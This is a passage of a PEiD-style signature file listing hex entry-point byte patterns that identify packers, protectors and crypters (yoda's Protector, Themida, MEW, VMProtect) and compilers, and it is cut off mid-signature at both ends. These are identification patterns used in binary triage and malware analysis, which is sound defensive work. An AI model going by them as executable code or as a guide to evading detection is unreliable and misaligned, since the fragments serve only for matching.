DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD B8 43 -ep_only = true - -[Microsoft (R) Incremental Linker Version 5.12.8078 (MASM/TASM)] -signature= 6A 00 68 00 30 40 00 68 1E 30 40 00 6A 00 E8 0D 00 00 00 6A 00 E8 00 00 00 00 FF 25 00 20 40 00 FF 25 08 20 40 -ep_only = true - -[MinGW] -signature = 55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF -ep_only = true - -[EXE Shield v0.x -> Smoke] -signature= E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED BC 1A 40 00 EB 01 00 8D B5 46 1B 40 00 BA B3 0A 00 00 EB 01 00 8D 8D F9 25 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4 90 -ep_only = true - -[Thinstall v2.460 -> Jitit] -signature= 55 8B EC 51 53 56 57 6A 00 6A 00 FF 15 F4 18 40 00 50 E8 87 FC FF FF 59 59 A1 94 1A 40 00 8B 40 10 03 05 90 1A 40 00 89 45 FC 8B 45 FC FF E0 5F 5E 5B C9 C3 00 00 00 76 0C 00 00 D4 0C 00 00 1E -ep_only = true - -[yoda's Protector v1.01 -> Ashkbiz Danehkar] -signature= 55 8B EC 53 56 57 E8 03 00 00 00 EB 01 -ep_only = true - -[yoda's Protector v1.0b -> Ashkbiz Danehkar] -signature= 55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 -ep_only = true - -[yoda's Protector 1.02 -> Ashkibiz Danehlar] -signature = E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 23 3F 42 00 8B D5 81 C2 72 3F 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3A 66 42 00 81 E9 1D 40 42 00 8B D5 81 C2 1D 40 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 C3 1F 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC -ep_only = True - -[yoda's Protector v1.02b-> Ashkbiz Danehkar] -signature= E8 03 00 00 00 EB 01 -ep_only = true - -[yoda's Protector 1.03.1 -> Ashkibiz Danehlar] -signature = E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 74 72 42 00 8B D5 81 C2 C3 72 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3F A9 42 00 81 E9 6E 73 42 00 8B D5 81 C2 6E 73 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 98 2E 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC -ep_only = True - -[yoda's cryptor 1.3 -> Ashkbiz Danehkar] -signature= 55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 6C 28 40 00 B9 5D 34 40 00 81 E9 C6 28 40 00 8B D5 81 C2 C6 28 40 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC -ep_only = true - -[ExeStealth -> WebToolMaster] -signature= EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F -ep_only = true - -[ARM Protector v0.2-> SMoKE] -signature= E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 09 20 40 00 EB 02 83 09 8D B5 9A 20 40 00 EB 02 83 09 BA 0B 12 00 00 EB 01 00 8D 8D A5 32 40 00 -ep_only = true - -[MEW 10 packer v1.0 -> Northfox] -signature= 33 C0 E9 ?? ?0 -ep_only = true - -[MEW 11 SE v1.0 -> Northfox] -signature= E9 ?? ?? ?? ?? 00 00 00 02 00 00 00 0C ?0 -ep_only = true - -[MEW 11 SE v1.1 -> Northfox] -signature= E9 ?? ?? ?? ?? 0C ?? ?? ?? 00 00 00 00 00 00 00 00 -ep_only = true - -[LamCrypt v1.0 -> LaZaRuS] -signature= 60 66 9C BB 00 ?? ?? 00 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61 B8 -ep_only = true - -[ACProtect 1.09g -> Risco software Inc.] -signature = 60 F9 50 E8 01 00 00 00 7C 58 58 49 50 E8 01 00 00 00 7E 58 58 79 04 66 B9 B8 72 E8 01 00 00 00 7A 83 C4 04 85 C8 EB 01 EB C1 F8 BE 72 03 73 01 74 0F 81 01 00 00 00 F9 EB 01 75 F9 E8 01 00 00 -ep_only = true - -[UPXcrypter -> archphase/NWC] -signature = BF ?? ?? ?? 00 81 FF ?? ?? ?? 00 74 10 81 2F ?? 00 00 00 83 C7 04 BB 05 ?? ?? 00 FF E3 BE ?? ?? ?? 00 FF E6 00 00 00 00 -ep_only = true - -[ACProtect v1.90g -> Risco software Inc.] -signature = 60 0F 87 02 00 00 00 1B F8 E8 01 00 00 00 73 83 04 24 06 C3 -ep_only = true - -[MEW 5 1.0 -> Northfox] -signature = BE 5B 00 40 00 AD 91 AD 93 53 AD 96 56 5F AC C0 C0 -ep_only = true - -[ROD High TECH -> Ayman] -signature = 60 8B 15 1D 13 40 00 F7 E0 8D 82 83 19 00 00 E8 58 0C 00 00 -ep_only = true - -[Alex Protector v1.0 -> Alex] -signature = 60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B -ep_only = true - -[Unknown Packer -> Northfox] -signature = 54 59 68 61 7A 79 -ep_only = true - -[hying's PE-Armor -> hying[CCG]] -signature = E8 AA 00 00 00 2D ?? ?? ?? 00 00 00 00 00 00 00 00 3D -ep_only= true - -[PE-Armor 0.46 -> China Cracking Group] -signature = E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 A2 01 00 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 5D 81 ED 05 00 00 00 8D 75 3D 56 FF 55 31 8D B5 86 00 00 00 56 50 FF 55 2D 89 85 93 00 00 00 6A 04 68 00 10 00 00 FF B5 82 00 00 00 6A 00 FF 95 93 00 00 00 50 8B 9D 7E 00 00 00 03 DD 50 53 E8 04 00 00 00 5A 55 FF E2 60 8B 74 24 24 8B 7C 24 28 FC -ep_only = True - -[Microsoft Visual C++ v7.0] -signature = 6A 0C 68 88 BF 01 10 E8 B8 1C 00 00 33 C0 40 89 45 E4 8B 75 0C 33 FF 3B F7 75 0C 39 3D 6C 1E 12 10 0F 84 B3 00 00 00 89 7D FC 3B F0 74 05 83 FE 02 75 31 A1 98 36 12 10 3B C7 74 0C FF 75 10 56 -ep_only = true - -[North Star PE Shrinker 1.3 -> Liuxingping] -signature = 9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 -ep_only = true - -[WebCops [EXE] -> LINK Data Security] -signature = EB 03 05 EB 02 EB FC 55 EB 03 EB 04 05 EB FB EB 53 E8 04 00 00 00 72 -ep_only = true - -[WebCops [DLL] -> LINK Data Security] -signature = A8 BE 58 DC D6 CC C4 63 4A 0F E0 02 BB CE F3 5C 50 23 FB 62 E7 3D 2B -ep_only = true - -[REALbasic] -signature = 55 89 E5 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 ?? ?? ?? ?? ?? 00 -ep_only = true - -[PowerBASIC/CC 3.0x] -signature = 55 8B EC 53 56 57 BB 00 ?? ?? 00 66 2E F7 05 ?? ?? ?? 00 04 00 0F 85 -ep_only = true - -[PowerBASIC/Win 7.0x] -signature = 55 8B EC 53 56 57 BB 00 ?? 40 00 66 2E F7 05 ?? ?? 40 00 04 00 0F 85 DB 00 00 00 -ep_only = true - -[PE Ninja v1.0 -> +DzA kRAker TNT] -signature = BE 5B 2A 40 00 BF 35 12 00 00 E8 40 12 00 00 3D 22 83 A3 C6 0F 85 67 0F 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 -ep_only = true - - -[EXE Shield v0.1b - v0.3b, v0.3 -> SMoKE] -signature = E8 04 00 00 00 83 60 EB 0C 5D EB 05 -ep_only = true - -[Themida -> Oreans Technologies 2004] -signature = B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 -ep_only = true - -[Packanoid -> Arkanoid] -signature = BF 00 10 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8 -ep_only = true - -[Packanoid 1.0 -> ackanoid] -signature = BF 00 ?? 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8 ?? ?? ?? 00 8B 30 8B 78 04 BB ?? ?? ?? 00 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08 5E EB DB B9 ?? ?? 00 00 BE 00 ?? ?? 00 EB 01 00 BF ?? ?? ?? 00 EB 21 00 ?? ?? 00 00 ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 00 C0 00 F3 A4 E9 ?? ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 00 C0 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C -ep_only = True - -[Alloy 4.x -> PGWare LLC] -signature = 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 A8 33 40 00 0B C0 0F 84 F6 01 00 00 89 85 2E 33 40 00 83 BD E8 32 40 00 01 74 0D 83 BD E4 32 40 00 01 74 2A 8B F8 EB 3E 68 D8 01 00 00 50 FF 95 CC 33 40 00 50 8D 85 28 33 40 00 50 FF B5 2E 33 40 00 FF 95 D0 33 40 00 58 83 C0 05 EB 0C 68 D8 01 00 00 50 FF 95 C0 33 40 00 8B BD 2E 33 40 00 03 F8 C6 07 5C 47 8D B5 00 33 40 00 AC 0A C0 74 03 AA EB F8 83 BD DC 32 40 00 01 74 7A 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 FF B5 2E 33 40 00 FF 95 B4 33 40 00 83 F8 FF 74 57 89 85 32 33 40 00 8D 85 56 33 40 00 8D 9D 5E 33 40 00 8D 8D 66 33 40 00 51 53 50 FF B5 32 33 40 00 FF 95 C4 33 40 00 FF B5 32 33 40 00 FF 95 B8 33 40 00 8B 85 -ep_only = True - -[SoftDefender 1.x -> Randy Li] -signature = 74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 00 59 9C 50 74 0A 75 08 E8 59 C2 04 00 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 E6 01 00 00 03 C8 74 BD 75 BB E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 -ep_only = True - -[SDProtector 1.x -> Randy Li] -signature = 55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 33 C0 64 FF 30 64 89 20 9C 80 4C 24 01 01 9D 90 90 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 64 8F 00 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 03 79 01 E8 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 7B 03 00 00 03 C8 74 C4 75 C2 E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 -ep_only = True - -[ExeJoiner 1.0 -> Yoda f2f] -signature = 68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50 E8 E2 02 00 00 83 F8 FF 0F 84 6D 02 00 00 A3 0C 12 40 00 8B D8 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 E3 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1E 12 40 00 FF 35 08 12 40 00 E8 C4 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 B7 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1A 12 40 00 FF 35 08 12 40 00 E8 98 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 8B 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 34 12 40 00 FF 35 08 12 40 00 E8 6C 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 5F 02 00 00 -ep_only = True - -[EmbedPE 1.13 -> cyclotron] -signature = 83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68 B8 5E 2D C6 DA FD 48 63 05 3C 71 B8 5E 97 7C 36 7E 32 7C 08 4F 06 51 64 10 A3 F1 4E CF 25 CB 80 D2 99 54 46 ED E1 D3 46 86 2D 10 68 93 83 5C 46 4D 43 9B 8C D6 7C BB 99 69 97 71 2A 2F A3 38 6B 33 A3 F5 0B 85 97 7C BA 1D 96 DD 07 F8 FD D2 3A 98 83 CC 46 99 9D DF 6F 89 92 54 46 9F 94 43 CC 41 43 9B 8C 61 B9 D8 6F 96 3B D1 07 32 24 DD 07 05 8E CB 6F A1 07 5C 62 20 E0 DB BA 9D 83 54 46 E6 83 51 7A 2B 94 54 64 8A 83 05 68 D7 5E 2D C6 B7 57 00 B3 E8 3C 71 B8 3C 97 7C 36 19 32 7C 08 2A 06 51 64 73 A3 F1 4E 92 25 CB 80 8D 99 54 46 B0 E1 D3 46 A5 2D 10 68 B6 83 91 46 F2 DF 64 FD D1 BC CA AA 70 E2 AB 39 AE 3B 5A 6F 9B 15 BD 25 98 25 30 4C AD 7D 55 07 A8 A3 AC 0A C1 BD 54 72 BC 83 54 82 A3 97 B1 1A B3 83 54 46 83 -ep_only = True - -[Dual's eXe 1.0] -signature = 55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 08 03 00 00 89 28 33 FF 8D 85 7D 02 00 00 8D 8D 08 03 00 00 2B C8 8B 9D 58 03 00 00 E8 1C 02 00 00 8D 9D 61 02 00 00 8D B5 7C 02 00 00 46 80 3E 00 74 24 56 FF 95 0A 04 00 00 46 80 3E 00 75 FA 46 80 3E 00 74 E7 50 56 50 FF 95 0E 04 00 00 89 03 58 83 C3 04 EB E3 8D 85 24 03 00 00 50 68 1F 00 02 00 6A 00 8D 85 48 03 00 00 50 68 01 00 00 80 FF 95 69 02 00 00 83 BD 24 03 00 00 00 0F 84 8B 00 00 00 C7 85 28 03 00 00 04 00 00 00 8D 85 28 03 00 00 50 8D 85 20 03 00 00 50 8D 85 6C 03 00 00 50 6A 00 8D 85 62 03 00 00 50 FF B5 24 03 00 00 FF 95 71 02 00 00 83 BD 20 03 00 00 01 7E 02 EB 20 6A 40 8D 85 73 03 00 00 50 8D 85 82 03 00 00 50 6A 00 FF 95 61 02 00 00 6A 00 FF 95 65 02 00 00 FF 8D 20 03 00 00 FF -ep_only = True - -[Crunch v5 -> Bit-Arts] -signature = EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 FC 07 00 00 89 85 E8 07 00 00 FF 74 24 2C E8 20 02 00 00 0F 82 94 06 00 00 E8 F3 04 00 00 49 0F 88 88 06 00 00 8B B5 E8 07 00 00 8B 56 3C 8D 8C 32 C8 00 00 00 83 39 00 74 50 8B D9 53 68 BB D4 C3 79 33 C0 50 E8 0E 04 00 00 50 8D 95 EC 07 00 00 52 6A 04 68 00 10 00 00 FF B5 E8 07 00 00 FF D0 58 5B C7 03 00 00 00 00 C7 43 04 00 00 00 00 8D 95 F0 07 00 00 52 FF B5 EC 07 00 00 68 00 10 00 00 FF B5 E8 07 00 00 FF D0 68 6C D9 B2 96 33 C0 50 E8 C1 03 00 00 89 85 ?? 46 00 00 68 EC 49 7B 79 33 C0 50 E8 AE 03 00 00 89 85 ?? 46 00 00 E8 04 06 00 00 E9 F3 05 00 00 51 52 53 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 -ep_only = True - -[Goat's PE Mutilator 1.6] -signature = E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0F 53 0F DE 0F 55 0F 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 -ep_only = True - -[Vcasm-Protector 1.0] -signature = 55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3 E8 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 05 00 00 00 0F 01 EB 05 E8 EB FB 00 00 83 C4 04 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 -ep_only = True - -[ExeShield 3.6 -> www.exeshield.com] -signature = B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC E9 FB C8 4F 1B 22 7C B4 C8 0D BD 71 A9 C8 1F 5F B1 29 8F 11 73 8F 00 D1 88 87 A9 3F 4D 00 6C 3C BF C0 80 F7 AD 35 23 EB 84 82 6F 8C B9 0A FC EC E4 82 97 AE 0F 18 D2 47 1B 65 EA 46 A5 FD 3E 9D 75 2A 62 80 60 F9 B0 0D E1 AC 12 0E 9D 24 D5 43 CE 9A D6 18 BF 22 DA 1F 72 76 B0 98 5B C2 64 BC AE D8 -ep_only = True - -[PocketPC SHA] -signature = 86 2F 96 2F A6 2F B6 2F 22 4F 43 68 53 6B 63 6A 73 69 F0 7F 0B D0 0B 40 09 00 09 D0 B3 65 A3 66 93 67 0B 40 83 64 03 64 04 D0 0B 40 09 00 10 7F 26 4F F6 6B F6 6A F6 69 0B 00 F6 68 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 22 4F F0 7F 0A D0 06 D4 06 D5 0B 40 09 00 08 D0 05 D4 06 D5 0B 40 09 00 10 7F 26 4F 0B 00 09 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 7F ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 -ep_only = True - -[PocketPC MIB] -signature = E8 FF BD 27 14 00 BF AF 18 00 A4 AF 1C 00 A5 AF 20 00 A6 AF 24 00 A7 AF ?? ?? ?? 0C 00 00 00 00 18 00 A4 8F 1C 00 A5 8F 20 00 A6 8F ?? ?? ?? 0C 24 00 A7 8F ?? ?? ?? 0C 25 20 40 00 14 00 BF 8F 08 00 E0 03 18 00 BD 27 ?? FF BD 27 18 00 ?? AF ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 01 3C ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 -ep_only = True - -[PocketPC ARM] -signature = F0 40 2D E9 00 40 A0 E1 01 50 A0 E1 02 60 A0 E1 03 70 A0 E1 ?? 00 00 EB 07 30 A0 E1 06 20 A0 E1 05 10 A0 E1 04 00 A0 E1 ?? ?? ?? EB F0 40 BD E8 ?? 00 00 EA ?? 40 2D E9 ?? ?? 9F E5 ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 9F E5 00 ?? ?? ?? ?? 00 -ep_only = True - -[Hide PE 1.01 -> BGCorp] -signature = ?? BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 F8 FF E2 0D 0A 2D 3D 5B 20 48 69 64 65 50 45 20 62 79 20 42 47 43 6F 72 70 20 5D 3D 2D -ep_only = True - -[VMProtect 0.7x - 0.8 -> PolyTech] -signature = 5B 20 56 4D 50 72 6F 74 65 63 74 20 76 20 30 2E 38 20 28 43 29 20 50 6F 6C 79 54 65 63 68 20 5D -ep_only = False - -[PE Crypt 1.5 -> BitShape Software] -signature = 60 E8 00 00 00 00 5D 81 ED 55 20 40 00 B9 7B 09 00 00 8D BD 9D 20 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 CC -ep_only = True - -[LameCrypt -> LaZaRus] -signature = 60 66 9C BB 00 ?? ?? 00 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61 B8 ?? ?? 40 00 FF E0 -ep_only = True - -[PeX 0.99 -> bart^CrackPl] -signature = E9 F5 ?? ?? ?? 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 -ep_only = True - -[Obsidium 1.2.0.0 -> Obsidium Software] -signature = EB 02 ?? ?? E8 3F 1E 00 00 -ep_only = True - -[Ste@lth PE 1.01 -> BGCorp] -signature = ?? ?? ?? ?? ?? BA ?? ?? ?? 00 -ep_only = True - -[GCC-Win32 / XMINGW] -signature = 55 89 e5 83 ec 